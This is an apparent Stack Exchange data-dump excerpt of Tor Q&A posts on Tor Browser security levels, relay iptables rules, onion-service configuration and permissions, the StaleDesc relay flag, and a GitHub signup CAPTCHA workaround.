  <row Id="21076" PostTypeId="1" CreationDate="2020-04-04T17:07:41.620" Score="0" ViewCount="632" Body="&lt;p&gt;I have set Tor to &quot;Safest&quot; which disables all JavaScript, which is fine, as long as I can allow certain sites/scripts to run with NoScript when I need it. However, NoScript is not working for me. When I set a site/script to &quot;Temporary TRUSTED&quot;, nothing is happening. If I go to &lt;a href=&quot;https://protonmail.com/signup&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonmail.com/signup&lt;/a&gt;, ProtonMail will complain that needs JS to work, and if I allow it in NoScript, nothing happens.&#xA;I have checked the &quot;Trusted&quot; checks and I have tried toggling the NoScript &quot;Override Tor Browser's security level preset&quot; on and off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C9ob2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C9ob2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, it seems that is working to me if I set Tor to &quot;Safer&quot; and uncheck the NoScript &quot;Default&quot; settings to allow less items to be loaded, this seems the safest option to me, as otherwise I'd have to use another browser. &#xA;If &quot;Safest&quot; only difference is to block JavaScript, then I can live with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s.: protonmail test was only a JS test, I know some ppl are against logging into personal accounts in TOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something that I'm missing to work with &quot;Safest&quot; and allow JavaScript to work on specific sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="29969" LastActivityDate="2020-04-04T20:00:12.050" Title="Cannot use NoScript with Tor set on Safest Mode" Tags="|noscript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21077" PostTypeId="2" ParentId="21076" CreationDate="2020-04-04T20:00:12.050" Score="1" Body="&lt;p&gt;This is a temporary change in the latest Tor Browser version (9.0.7) due to a Firefox vulnerability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/new-release-tor-browser-907&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/new-release-tor-browser-907&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In addition, this release disables Javascript for the entire browser when the Safest security level is selected. This may be a breaking change for your workflow if you previously allowed Javascript on some sites using NoScript. While you are on &quot;Safest&quot; you may restore the previous behavior and allow Javascript by:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Open about:config&lt;/li&gt;&#xA;  &lt;li&gt;Search for: javascript.enabled&lt;/li&gt;&#xA;  &lt;li&gt;The &quot;Value&quot; column should show &quot;false&quot;&lt;/li&gt;&#xA;  &lt;li&gt;Either: right-click and select &quot;Toggle&quot; such that it is now disabled or double-click on the row and it will be disabled.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;We are taking this precaution until we are confident recent NoScript versions successfully block Javascript execution, by default, by working around a Firefox ESR vulnerability.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-04-04T20:00:12.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21078" PostTypeId="2" ParentId="20996" CreationDate="2020-04-05T08:54:16.880" Score="2" Body="&lt;p&gt;HATEthePLOT, the problem with my relay appears to be corrected.  All five active bwauth servers are measuring my relay.  The three bwauth servers that were previously egress blocked by my firewall (pfSense) are measuring my relay at a low number, but I think this may be part of the lifecycle of a new relay:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/lifecycle-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/lifecycle-new-relay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps in a couple of weeks, my relay will be working better than ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I performed the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)  On the Linux server running the relay, I added Netfilter/iptables rules to block egress unless it was localhost, local network traffic, or from the service account running Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)  On pfSense for the private IP address of the Linux server running Tor, I removed the egress rule port restrictions of TCP port 9001 and TCP port 9030.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)  I restarted the Linux server running Tor.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Following is a more detailed list of my Netfilter/iptables changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Project suggests &quot;Blocking all local outbound non-Tor traffic with iptables&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/BlockingNonTorTraffic&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/BlockingNonTorTraffic&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# iptables -F OUTPUT&#xA;# iptables -A OUTPUT -j ACCEPT -m owner --uid-owner debian-tor&#xA;# iptables -A OUTPUT -j ACCEPT -o lo&#xA;# iptables -A OUTPUT -j ACCEPT -p udp --dport 123&#xA;# iptables -P OUTPUT DROP&#xA;# iptables -L -v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead, with the assumption that the service account is &quot;debian-tor&quot;, and the local network is &quot;192.168.0.0/24&quot;, I used the following for Linux Mint 19.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install iptables-persistent netfilter-persistent&#xA;&#xA;sudo iptables --list --line-numbers --verbose --exact&#xA;sudo iptables --flush INPUT&#xA;sudo iptables --append INPUT --jump ACCEPT --match state --state RELATED,ESTABLISHED&#xA;sudo iptables --append INPUT --jump ACCEPT --in-interface lo&#xA;sudo iptables --append INPUT --jump ACCEPT --source 192.168.0.0/24&#xA;sudo iptables --append INPUT --jump ACCEPT --protocol tcp --dport 9001&#xA;sudo iptables --append INPUT --jump ACCEPT --protocol tcp --dport 9030&#xA;sudo iptables --policy INPUT ACCEPT&#xA;sudo iptables --list --line-numbers --verbose --exact&#xA;sudo netfilter-persistent save&#xA;&#xA;sudo iptables --list --line-numbers --verbose --exact&#xA;sudo iptables --flush OUTPUT&#xA;sudo iptables --append OUTPUT --jump ACCEPT --match state --state RELATED,ESTABLISHED&#xA;sudo iptables --append OUTPUT --jump ACCEPT --out-interface lo&#xA;sudo iptables --append OUTPUT --jump ACCEPT --destination 192.168.0.0/24&#xA;sudo iptables --append OUTPUT --jump ACCEPT --match owner --uid-owner debian-tor&#xA;# sudo iptables --append OUTPUT --jump LOG --log-prefix &quot;iptables_DROP: &quot;&#xA;sudo iptables --policy OUTPUT DROP&#xA;sudo iptables --list --line-numbers --verbose --exact&#xA;sudo netfilter-persistent save&#xA;&#xA;sudo shutdown -r now&#xA;&#xA;sudo iptables --zero&#xA;&#xA;sudo watch iptables --list --line-numbers --verbose --exact&#xA;&#xA;journalctl -fk -o short-iso&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that while I have created corresponding INPUT rules, my chain INPUT is using policy ACCEPT (blocking nothing for ingress).  pfSense can handle ingress well enough, and Netfilter/iptables appears to be blocking non-Tor related egress traffic as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I commented the LOG statement, but you can use it to troubleshoot DROP actions, if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HATEthePLOT, I hope this helps with your relay's issue.&lt;/p&gt;&#xA;" OwnerUserId="28881" LastEditorUserId="28881" LastEditDate="2020-04-05T09:01:02.167" LastActivityDate="2020-04-05T09:01:02.167" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21083" PostTypeId="2" ParentId="20531" CreationDate="2020-04-07T12:13:52.780" Score="0" Body="&lt;p&gt;If you want to access the.onion through the 9000 port You need to add&#xA;'HiddenServicePort 9000'&#xA;If you want to access the. Onion through port 80 you need to have lighttpd listen on port 9000&lt;/p&gt;&#xA;" OwnerUserId="29999" LastActivityDate="2020-04-07T12:13:52.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21084" PostTypeId="1" CreationDate="2020-04-08T14:03:08.837" Score="0" ViewCount="245" Body="&lt;p&gt;I've been wondering if &lt;a href=&quot;http://answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hidden Answers&lt;/a&gt;  is legitimate. Can I talk about anything on that forum no matter how unlawful it may sound? Really I want to know if it it has connections to Law Enforcement or not.&lt;/p&gt;&#xA;" OwnerUserId="30003" LastEditorUserId="88" LastEditDate="2020-04-20T11:44:08.687" LastActivityDate="2020-04-20T11:44:08.687" Title="Is the Hidden Answers onion service authentic?" Tags="|onion-services|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21085" PostTypeId="2" ParentId="21084" CreationDate="2020-04-08T17:38:11.963" Score="1" Body="&lt;p&gt;&lt;strong&gt;There is no way to know that.&lt;/strong&gt; If they were like Facebook and had a signed certificate, you can at least say, &quot;that looks legit&quot; even though they could still be run or have a backdoor for law enforcement. Since there isn't even that, anything you say that can very well be sent directly to law enforcement and you have no way to know and there's no way to find out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good rule of thumb, never say anything that can be tied directly to you. The #1 way to be de-anonymized isn't anything technical, it's what &lt;em&gt;you&lt;/em&gt; choose to share.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-04-08T17:38:11.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21086" PostTypeId="2" ParentId="21069" CreationDate="2020-04-08T19:16:21.020" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can global adversaries 'de-anonymize' any TOR user in a day?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No they can't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From all of the information that has been leaked, even powerful governments have a hard time de-anonymizing Tor users. See Snowden's book and others' for more information on that. If you want to discuss traffic correlation and other attacks, then that is best for the &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-talk&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor mailing list&lt;/a&gt; with the people who know best.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-04-08T19:16:21.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21087" PostTypeId="1" CreationDate="2020-04-09T10:12:49.077" Score="0" ViewCount="786" Body="&lt;p&gt;I used mkp224o to generate a v3 address in .onion, but I was wondering how do I add it? I have a server already with the tor installed mkp224o generates these 3 files &quot;hostname&quot;, &quot;hs_ed25519_public_key&quot; and &quot;hs_ed25519_secret_key&quot; I left it like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HiddenServiceDir /var/lib/tor/v3/&lt;/li&gt;&#xA;&lt;li&gt;HiddenServiceVersion 3&lt;/li&gt;&#xA;&lt;li&gt;HiddenServicePort 80 127.0.0.1:80&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and added the 3 files generated by mkp224o inside that folder /var/lib/tor/v3/ but it didn't work, all ports are open, what did I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="30012" LastActivityDate="2020-04-10T07:34:51.943" Title="mkp224o vanity address" Tags="|onion-routing|address|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21089" PostTypeId="2" ParentId="21087" CreationDate="2020-04-10T07:34:51.943" Score="1" Body="&lt;p&gt;thank you very much for those who tried to help, but I have already found out by reading the logs what it was like if someone ever had the same problem the solution is the following: you should not give permissions to / var / lib / tor as root user because user of that folder is &quot;debian-tor&quot; everything inside it must be in the permissions of this user or an error will occur, I solved it with the following commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;chmod 700 -R /var/lib/tor/*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;chown  -R debian-tor /var/lib/tor/*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;systemctl restart tor&lt;/p&gt;&#xA;" OwnerUserId="30012" LastActivityDate="2020-04-10T07:34:51.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21090" PostTypeId="1" CreationDate="2020-04-11T03:52:49.870" Score="0" ViewCount="346" Body="&lt;p&gt;I want to create a blog on onion, there will be nothing illegal, just tutorials on linux, programming and other related topics. What are the risks? Is it safer to pay for a VPS in another country?&lt;/p&gt;&#xA;" OwnerUserId="29984" LastActivityDate="2021-09-05T03:02:05.200" Title="Host onion site at home" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21093" PostTypeId="1" CreationDate="2020-04-12T15:14:28.973" Score="0" ViewCount="116" Body="&lt;p&gt;&lt;br /&gt;&#xA;I've read &lt;a href=&quot;https://tor.stackexchange.com/questions/2006/how-to-run-multiple-tor-browsers-with-different-ips?newreg=8cc598ec35a04af0acba85330019e30f&quot;&gt;This Instruction&lt;/a&gt; but it's outdated and I couldn't comment on it because of reputation.&lt;br /&gt;&#xA;I would like to run multiple Tor Browsers all at once, with each having a unique Tor IP address.&lt;br /&gt;&#xA;And I'm using Windows . [ it's better to explain in different OS ] &lt;br /&gt;&#xA;Thanks in Advance&lt;/p&gt;&#xA;" OwnerUserId="30036" LastActivityDate="2020-04-12T15:14:28.973" Title="How to run multiple Tor browsers with different IPs on version 9?" Tags="|tor-browser-bundle|configuration|windows|support|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21094" PostTypeId="1" CreationDate="2020-04-12T19:18:43.953" Score="0" ViewCount="1127" Body="&lt;p&gt;When I run&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;service tor stop&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process is still running&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I run&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;service tor restart&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cat /var/log/syslog | grep tor -i&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get a lot of warnings and errors (see below). It seems it's trying 5 times. These records are repeated 5 times and restart counter increments up to 5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that tor cannot be stopped or restarted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make it to operate normally? Is it safe if I kill the process?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;Apr 12 13:51:39 myproject tor[32894]: Apr 12 13:51:39.762 [notice] Tor 0.4.2.6 running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1, Zlib 1.2.11, Liblzma 5.2.2, and Libzstd 1.3.3.&#xA;Apr 12 13:51:39 myproject tor[32894]: Apr 12 13:51:39.762 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 12 13:51:39 myproject tor[32894]: Apr 12 13:51:39.762 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Apr 12 13:51:39 myproject tor[32894]: Apr 12 13:51:39.762 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Apr 12 13:51:39 myproject tor[32894]: Configuration was valid&#xA;Apr 12 13:51:39 myproject tor[32895]: Apr 12 13:51:39.932 [notice] Tor 0.4.2.6 running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1, Zlib 1.2.11, Liblzma 5.2.2, and Libzstd 1.3.3.&#xA;Apr 12 13:51:39 myproject tor[32895]: Apr 12 13:51:39.932 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 12 13:51:39 myproject tor[32895]: Apr 12 13:51:39.932 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Apr 12 13:51:39 myproject tor[32895]: Apr 12 13:51:39.932 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Apr 12 13:51:39 myproject tor[32895]: Apr 12 13:51:39.935 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Apr 12 13:51:39 myproject tor[32895]: Apr 12 13:51:39.935 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;Apr 12 13:51:39 myproject tor[32895]: Apr 12 13:51:39.935 [notice] Opening HTTP tunnel listener on 127.0.0.1:9080&#xA;Apr 12 13:51:39 myproject tor[32895]: Apr 12 13:51:39.935 [warn] Could not bind to 127.0.0.1:9080: Address already in use. Is Tor already running?&#xA;Apr 12 13:51:39 myproject tor[32895]: Apr 12 13:51:39.935 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Apr 12 13:51:39 myproject tor[32895]: Apr 12 13:51:39.935 [err] Reading config failed--see warnings above.&#xA;Apr 12 13:51:39 myproject systemd[1]: tor@default.service: Main process exited, code=exited, status=1/FAILURE&#xA;Apr 12 13:51:39 myproject systemd[1]: tor@default.service: Failed with result 'exit-code'.&#xA;Apr 12 13:51:40 myproject systemd[1]: tor@default.service: Service hold-off time over, scheduling restart.&#xA;Apr 12 13:51:40 myproject systemd[1]: tor@default.service: Scheduled restart job, restart counter is at 1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30037" LastEditorUserId="30037" LastEditDate="2020-04-12T19:30:54.293" LastActivityDate="2020-04-12T19:30:54.293" Title="Tor will not restart or stop" Tags="|configuration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21095" PostTypeId="2" ParentId="21090" CreationDate="2020-04-13T01:02:22.577" Score="1" Body="&lt;p&gt;As for technical aspect it is quite easy. E.g. try this &lt;a href=&quot;https://onionshare.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onionshare.org/&lt;/a&gt;&#xA;This will even create a domain for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The risks depend on your jurisdiction. If you are in Northern Korea you will be charged even for this question. Otherwise there is no risk if you do not share illegal stuff. The disadvantage of home site is that your PC must be always on. But you can find some affordable VPS for up to $5/mo. (You need VPS with root access to setup and run tor). &#xA;If you need however some anonymity you will need a hosting provider who accepts Bitcoins because other payment methods will leak your identities. Then you need to install tor on your local PC to safely connect to VPS. And please google for &quot;how to run onion site and stay out of jail&quot; as there are many things you must take into account to keep yourself anonymous. &lt;/p&gt;&#xA;" OwnerUserId="30037" LastActivityDate="2020-04-13T01:02:22.577" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21097" PostTypeId="1" CreationDate="2020-04-13T16:32:15.423" Score="0" ViewCount="1819" Body="&lt;p&gt;I am running the latest TailsOS and would like to run and access a web service locally for myself. Just opening the index.html file in the TOR browser does not work, so I need some minimal web server hosting my &lt;code&gt;app&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried both &lt;code&gt;busybox httpd&lt;/code&gt; and the node http server with no success. Whenever I try to open localhost:8000 or 127.0.0.1:8080 (both services are exposed on these ports respectively), I get nothing in my TOR browser. I also tried starting &lt;code&gt;nginx&lt;/code&gt; but the service fails to start after installation (which should automatically start an nginx service).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume all of the above issues are firewall issues, but can't figure out why I wouldn't be able to access such services locally as I anyway do not plan to expose them to the internet. Any pointers how to make that work would help!&lt;/p&gt;&#xA;" OwnerUserId="30051" LastActivityDate="2021-05-03T03:14:21.430" Title="How to run a LOCAL webserver on tails" Tags="|tails|server|firewall|web-hosting|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21099" PostTypeId="1" CreationDate="2020-04-14T08:56:58.180" Score="0" ViewCount="88" Body="&lt;p&gt;I am using Ubuntu eoan. Here is what I did:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uncommented &lt;code&gt;#HiddenServiceDir /var/lib/tor/hidden_service/&lt;/code&gt; and &lt;code&gt;#HiddenServicePort 80 127.0.0.1:80&lt;/code&gt; in &lt;code&gt;/etc/tor/torrc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Restarted &lt;code&gt;tor&lt;/code&gt; service by using &lt;code&gt;sudo service tor restart&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ran &lt;code&gt;sudo nano /var/lib/tor/hidden_service/hostname&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After I ran &lt;code&gt;sudo nano /var/lib/tor/hidden_service/hostname&lt;/code&gt;, nano didn't show any text. I also tried this with &lt;code&gt;gedit&lt;/code&gt;, and the output was the same. So I opened file explorer and went to &lt;code&gt;/var/lib/tor&lt;/code&gt;, and the directory was empty. What did I do wrong and how do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="28796" LastActivityDate="2020-04-14T08:56:58.180" Title="Why can't I host my hidden service?" Tags="|configuration|web-hosting|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21100" PostTypeId="1" CreationDate="2020-04-14T09:52:33.600" Score="0" ViewCount="1005" Body="&lt;p&gt;My week old relay node got this flag today, I couldn't find any explanations about it figured I'd ask here. All I found out was that it was introduced in tor 4.x&lt;/p&gt;&#xA;" OwnerUserId="30057" LastEditorUserId="30057" LastEditDate="2020-04-14T10:00:16.413" LastActivityDate="2021-03-03T20:47:15.423" Title="What is the StaleDesc (state descriptor) flag and how do I update my state descriptor?" Tags="|relays|linux|protocol|server|flags|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21101" PostTypeId="2" ParentId="21100" CreationDate="2020-04-14T10:40:27.840" Score="1" Body="&lt;p&gt;The flag &lt;code&gt;StaleDesc&lt;/code&gt; was developed throught a proposal. Anyone can send in a proposal to improve the Tor protocol. The specific proposal has the number &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/293-know-when-to-publish.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;293&lt;/a&gt; with the title &quot;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/293-know-when-to-publish.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Other ways for relays to know when to publish&lt;/a&gt;&quot;. The implementation was tracked in &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/26770&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket #26770&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Authorities recognize that a relay descriptor is too old and assign this flag. A relay should upload its descriptor when it sees this flag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when your relay sees this flag it should update its descriptor. This happens automatically. However if your relay is not able to update it, you should investigate why this happens.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2020-04-14T10:40:27.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21102" PostTypeId="1" CreationDate="2020-04-14T14:57:57.087" Score="2" ViewCount="6240" Body="&lt;p&gt;GitHub works well with Tor except for the signup step (&lt;a href=&quot;https://github.com/join&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/join&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GitHub employs a broken CAPTCHA that &lt;strong&gt;prevents&lt;/strong&gt; signups over Tor. The CAPTCHA simply does not render properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message (after submit) is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Unable to verify your captcha response. Please visit https://help.github.com/articles/troubleshooting-connectivity-problems/#troubleshooting-the-captcha for troubleshooting information.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very frustrating for anonymous souls. It is unclear whether this is intentional or not.&lt;/p&gt;&#xA;" OwnerUserId="30058" LastEditorUserId="30058" LastEditDate="2020-04-14T15:01:43.023" LastActivityDate="2022-03-13T16:03:08.353" Title="How to fix CAPTCHA error on GitHub signup over Tor?" Tags="|error|captcha|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21103" PostTypeId="2" ParentId="21102" CreationDate="2020-04-14T15:00:38.530" Score="2" Body="&lt;h2&gt;Use recently launched Tor Exit Node&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The workaround is to hand pick a Tor Exit Node that is very new on the Internet (launched hours ago). We only need this for the signup step. It is critical to revert to default Tor settings afterwards.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Search for exit nodes first seen 0 days ago:&#xA;&lt;a href=&quot;https://metrics.torproject.org/rs.html#search/flag:exit%20flag:running%20first_seen_days:0-0%20running:true&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#search/flag:exit%20flag:running%20first_seen_days:0-0%20running:true&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on any node on the list and copy its fingerprint (not to be confused with IPv6 address).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open your &lt;code&gt;torrc&lt;/code&gt; config file for editing. If you use Whonix (and you should!) then edit the one on the gateway VM (not the workstation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location on plain Linux: &lt;code&gt;/etc/tor/torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location on the Whonix gateway: &lt;code&gt;/usr/local/etc/torrc.d/50_user.conf&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes heregoesthefingerprintofthetorexitnode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will force Tor to route all connections through this node.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restart Tor daemon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On plain Linux: &lt;code&gt;sudo systemctl restart tor.service&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Whonix Gateway: &lt;code&gt;sudo systemctl restart tor@default.service&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restart your Tor browser&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify your public IP address matches the Tor exit node you picked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sign up on GitHub. The CAPTCHA should now render properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If still no luck please try with another exit node (remember to restart the Tor daemon and Browser). In our case it worked the second time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Critical cleanup: remove the added line from the &lt;code&gt;torrc&lt;/code&gt; file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Critical cleanup: restart the Tor daemon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Important: this is only necessary for the signup. You GitHub account will work well over Tor.&lt;/p&gt;&#xA;" OwnerUserId="30058" LastActivityDate="2020-04-14T15:00:38.530" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21109" PostTypeId="1" CreationDate="2020-04-16T07:05:51.047" Score="0" ViewCount="1559" Body="&lt;p&gt;Switch from root to user = su usrname &amp;gt;Password.&#xA;The problems start when I try and &lt;code&gt;su&lt;/code&gt; to &lt;code&gt;debian-tor&lt;/code&gt;. First I get a query for a password which it doesn't have. So I make a pass for &lt;code&gt;debian-tor&lt;/code&gt; and enter it when I &lt;code&gt;su&lt;/code&gt; to &lt;code&gt;debian-tor&lt;/code&gt;. I enter &lt;code&gt;whoami&lt;/code&gt; and the response is: &lt;code&gt;user&lt;/code&gt; and not &lt;code&gt;debian-tor&lt;/code&gt;. With or without a password it doesn't work. Secondly, if I su debian-tor &amp;gt;passwrd - sudo -u debian-tor nyx it produces a page and a half of pure gibberish. Sudo -i to root and enter nyx, it operates perfectly; and yes I understand I shouldn't run nyx as root.&lt;/p&gt;&#xA;&lt;p&gt;How do I become &lt;code&gt;debian-tor&lt;/code&gt; so I can operate my bridge correctly?&lt;/p&gt;&#xA;" OwnerUserId="19670" LastEditorUserId="88" LastEditDate="2023-04-06T17:45:27.067" LastActivityDate="2023-04-06T17:45:27.067" Title="debian-tor vs User" Tags="|bridge|debian|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
